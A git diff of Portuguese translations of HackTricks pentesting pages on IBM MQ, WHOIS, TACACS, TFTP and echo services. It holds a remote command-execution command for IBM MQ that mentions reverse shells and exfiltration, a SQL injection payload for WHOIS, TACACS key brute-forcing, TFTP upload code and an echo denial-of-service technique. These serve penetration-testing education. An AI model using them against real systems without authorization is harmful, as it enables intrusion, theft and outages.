> 2023-10-10T19:13:01.713Z AMQ5030I: O comando '808544aa7fc94c48' foi iniciado. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> ```
|
||||
>
|
||||
> Você também pode enumerar os programas existentes na máquina (aqui `/bin/doesnotexist` ... não existe):
|
||||
|
||||
Você também pode enumerar os programas existentes na máquina (aqui `/bin/doesnotexist` ... não existe):
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||||
s "whatever"
|
||||
|
@ -235,7 +235,7 @@ Giving the service 0 second(s) to live...
|
|||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Tenha em mente que o lançamento do programa é assíncrono. Portanto, você precisa de um segundo item para aproveitar a exploração** ***(ouvinte para shell reverso, criação de arquivo em serviço diferente, exfiltração de dados através da rede ...)***
|
||||
**Esteja ciente de que o lançamento do programa é assíncrono. Portanto, você precisa de um segundo item para aproveitar a exploração** ***(ouvinte para shell reverso, criação de arquivo em serviço diferente, exfiltração de dados através da rede ...)***
|
||||
|
||||
**Exemplo 2**
|
||||
|
||||
|
@ -317,7 +317,7 @@ Se não conseguir encontrar os nomes das constantes, você pode consultar a [doc
|
|||
|
||||
## Ambiente de Teste
|
||||
|
||||
Se deseja testar o comportamento e exploits do IBM MQ, pode configurar um ambiente local com base no Docker:
|
||||
Se deseja testar o comportamento e exploits do IBM MQ, você pode configurar um ambiente local com base no Docker:
|
||||
|
||||
1. Ter uma conta em ibm.com e cloud.ibm.com.
|
||||
2. Criar um IBM MQ em container com:
|
||||
|
@ -328,7 +328,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:
|
|||
Por padrão, a autenticação está habilitada, o nome de usuário é `admin` e a senha é `passw0rd` (Variável de ambiente `MQ_ADMIN_PASSWORD`).
|
||||
Aqui, o nome do gerenciador de filas foi definido como `MYQUEUEMGR` (variável `MQ_QMGR_NAME`).
|
||||
|
||||
Você deve ter o IBM MQ em execução e com suas portas expostas:
|
||||
Você deve ter o IBM MQ em execução com suas portas expostas:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
|
@ -338,6 +338,6 @@ CONTAINER ID IMAGE COMMAND CRE
|
|||
|
||||
## Referências
|
||||
|
||||
* [Gist do mgeeky - "Notas práticas de teste de penetração do IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [mgeeky's gist - "Notas práticas de teste de penetração do IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
* [Documentação do IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
|
|
@ -1,47 +1,45 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
# Informação Básica
|
||||
|
||||
**WHOIS** (pronunciado como a frase "quem é") é um protocolo de consulta e resposta amplamente utilizado para consultar bancos de dados que armazenam os usuários registrados ou cessionários de um recurso da Internet, como um nome de domínio, um bloco de endereços IP ou um sistema autônomo, mas também é usado para uma gama mais ampla de outras informações. (De [aqui](https://en.wikipedia.org/wiki/WHOIS))
|
||||
O protocolo **WHOIS** serve como um método padrão para **consultar os registrantes ou titulares de vários recursos da Internet** por meio de bancos de dados específicos. Esses recursos incluem nomes de domínio, blocos de endereços IP e sistemas autônomos, entre outros. Além disso, o protocolo encontra aplicação no acesso a um espectro mais amplo de informações.
|
||||
|
||||
**Porta padrão:** 43
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
43/tcp open whois?
|
||||
```
|
||||
# Enumeração
|
||||
# Enumerar
|
||||
|
||||
Obtenha todas as informações que um serviço whois possui sobre um domínio:
|
||||
Obtenha todas as informações que um serviço de whois possui sobre um domínio:
|
||||
```bash
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Observe que, às vezes, ao solicitar informações de um serviço WHOIS, a base de dados utilizada aparece na resposta:
|
||||
Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados sendo usado aparece na resposta:
|
||||
|
||||
![](<../.gitbook/assets/image (147).png>)
|
||||
|
||||
Além disso, o serviço WHOIS sempre precisa usar uma **base de dados** para armazenar e extrair informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** a base de dados com algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas na base de dados.
|
||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||
|
||||
# Shodan
|
||||
|
||||
* `port:43 whois`
|
||||
|
||||
# Comandos Automáticos HackTricks
|
||||
# Comandos Automáticos do HackTricks
|
||||
```
|
||||
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
|
||||
Port_Number: 43 #Comma separated if there is more than one.
|
||||
|
@ -51,7 +49,8 @@ Entry_1:
|
|||
Name: Notes
|
||||
Description: Notes for WHOIS
|
||||
Note: |
|
||||
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
|
||||
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
|
||||
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
|
||||
|
@ -62,14 +61,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
**Terminal Access Controller Access Control System (TACACS)** é um protocolo de segurança que fornece validação centralizada de usuários que estão tentando obter **acesso a um roteador ou NAS**. TACACS+, uma versão mais recente do protocolo TACACS original, fornece serviços separados de autenticação, autorização e contabilidade (AAA).
|
||||
O protocolo **Terminal Access Controller Access Control System (TACACS)** é usado para validar centralmente usuários que tentam acessar roteadores ou Servidores de Acesso à Rede (NAS). Sua versão atualizada, **TACACS+**, separa os serviços em autenticação, autorização e contabilidade (AAA).
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
49/tcp open tacacs
|
||||
|
@ -25,24 +25,24 @@ PORT STATE SERVICE
|
|||
|
||||
## Interceptação da Chave de Autenticação
|
||||
|
||||
Se a comunicação entre o cliente e o servidor TACACS for interceptada por um atacante, a **chave de autenticação criptografada pode ser interceptada**. O atacante pode então tentar um **ataque de força bruta local contra a chave sem ser detectado nos logs**. Se for bem-sucedido no ataque de força bruta à chave, o atacante ganha acesso ao equipamento de rede e pode descriptografar o tráfego usando ferramentas como o Wireshark.
|
||||
Se a comunicação entre o cliente e o servidor TACACS for interceptada por um atacante, a **chave de autenticação criptografada pode ser interceptada**. O atacante pode então tentar um **ataque de força bruta local contra a chave sem ser detectado nos logs**. Se tiver sucesso na força bruta da chave, o atacante ganha acesso ao equipamento de rede e pode descriptografar o tráfego usando ferramentas como o Wireshark.
|
||||
|
||||
### Realizando um Ataque MitM
|
||||
### Realizando um Ataque Man-in-the-Middle (MitM)
|
||||
|
||||
Um **ataque de spoofing ARP pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||
Um **ataque de ARP spoofing pode ser utilizado para realizar um ataque Man-in-the-Middle (MitM)**.
|
||||
|
||||
### Força Bruta na Chave
|
||||
|
||||
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para forçar a chave:
|
||||
O [Loki](https://c0decafe.de/svn/codename\_loki/trunk/) pode ser usado para forçar a chave:
|
||||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
Se a chave for **bruteforced** com sucesso (**geralmente em formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego encriptado TACACS.**
|
||||
Se a chave for **quebrada com sucesso** (**geralmente no formato criptografado MD5)**, **podemos acessar o equipamento e descriptografar o tráfego criptografado do TACACS.**
|
||||
|
||||
### Descriptografando o Tráfego
|
||||
Uma vez que a chave seja quebrada com sucesso, o próximo passo é **descriptografar o tráfego encriptado TACACS**. O Wireshark pode lidar com tráfego TACACS encriptado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner utilizado e o nome de usuário do administrador** podem ser obtidas.
|
||||
Uma vez que a chave é quebrada com sucesso, o próximo passo é **descriptografar o tráfego criptografado do TACACS**. O Wireshark pode lidar com o tráfego TACACS criptografado se a chave for fornecida. Ao analisar o tráfego descriptografado, informações como o **banner usado e o nome de usuário do usuário admin** podem ser obtidos.
|
||||
|
||||
Ao ganhar acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante notar que essas ações são estritamente para fins educacionais e não devem ser usadas sem a devida autorização.
|
||||
Ao obter acesso ao painel de controle do equipamento de rede usando as credenciais obtidas, o atacante pode exercer controle sobre a rede. É importante observar que essas ações são estritamente para fins educacionais e não devem ser usadas sem autorização adequada.
|
||||
|
||||
## Referências
|
||||
|
||||
|
@ -53,12 +53,12 @@ Ao ganhar acesso ao painel de controle do equipamento de rede usando as credenci
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,40 +1,38 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
|
||||
**TFTP** usa a porta UDP 69 e **não requer autenticação**—clientes leem e escrevem em servidores usando o formato de datagrama descrito no RFC 1350. Devido a deficiências no protocolo (principalmente a falta de autenticação e segurança no transporte), é incomum encontrar servidores na Internet pública. No entanto, dentro de grandes redes internas, o TFTP é usado para fornecer arquivos de configuração e imagens de ROM para aparelhos VoIP e outros dispositivos.
|
||||
**Protocolo de Transferência de Arquivos Trivial (TFTP)** é um protocolo simples usado na **porta UDP 69** que permite transferências de arquivos sem autenticação. Destacado no **RFC 1350**, sua simplicidade significa que ele carece de recursos de segurança essenciais, levando a um uso limitado na Internet pública. No entanto, o **TFTP** é amplamente utilizado em grandes redes internas para distribuir **arquivos de configuração** e **imagens de ROM** para dispositivos como **telefones VoIP**, graças à sua eficiência nesses cenários específicos.
|
||||
|
||||
**TODO**: Fornecer informações sobre o que é um Bittorrent-tracker (Shodan identifica essa porta com esse nome). POR FAVOR, INFORME-ME SE VOCÊ TIVER ALGUMA INFORMAÇÃO SOBRE ISSO NO [**grupo do telegram HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
**TODO**: Fornecer informações sobre o que é um rastreador Bittorrent (Shodan identifica essa porta com esse nome). Se você tiver mais informações sobre isso, avise-nos, por exemplo, no [**grupo telegram do HackTricks**](https://t.me/peass) (ou em uma issue no github em [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Porta Padrão:** 69/UDP
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Enumeração
|
||||
|
||||
O TFTP não oferece listagem de diretórios, então o script `tftp-enum` do `nmap` tentará força bruta em caminhos padrões.
|
||||
O TFTP não fornece listagem de diretórios, então o script `tftp-enum` do `nmap` tentará forçar caminhos padrão.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## Download/Upload
|
||||
|
||||
Você pode usar o Metasploit ou Python para verificar se você pode baixar/enviar arquivos:
|
||||
Você pode usar o Metasploit ou Python para verificar se é possível baixar/enviar arquivos:
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
@ -47,19 +45,19 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
```
|
||||
## Shodan
|
||||
|
||||
* `port:69`
|
||||
* `porta:69`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,31 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Informações Básicas
|
||||
# Informação Básica
|
||||
|
||||
Um serviço de echo está em execução neste host. O serviço de echo foi criado para fins de teste e medição e pode escutar tanto os protocolos TCP quanto UDP. O servidor devolve qualquer dado que recebe, sem modificação.\
|
||||
**É possível causar uma negação de serviço conectando o serviço de echo a outro serviço de echo na mesma máquina ou em outra**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||
Um serviço de eco está em execução neste host. O serviço de eco foi destinado para fins de teste e medição e pode ouvir tanto os protocolos TCP quanto UDP. O servidor envia de volta quaisquer dados que recebe, sem modificação.\
|
||||
**É possível causar uma negação de serviço conectando um serviço de eco ao serviço de eco na mesma ou em outra máquina**. Devido ao número excessivamente alto de pacotes produzidos, as máquinas afetadas podem ser efetivamente retiradas de serviço.\
|
||||
Informações de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Porta Padrão:** 7/tcp/udp
|
||||
```
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Contato com o serviço Echo (UDP)
|
||||
## Contactar o serviço de eco (UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -37,23 +35,23 @@ Hello echo #This is the response
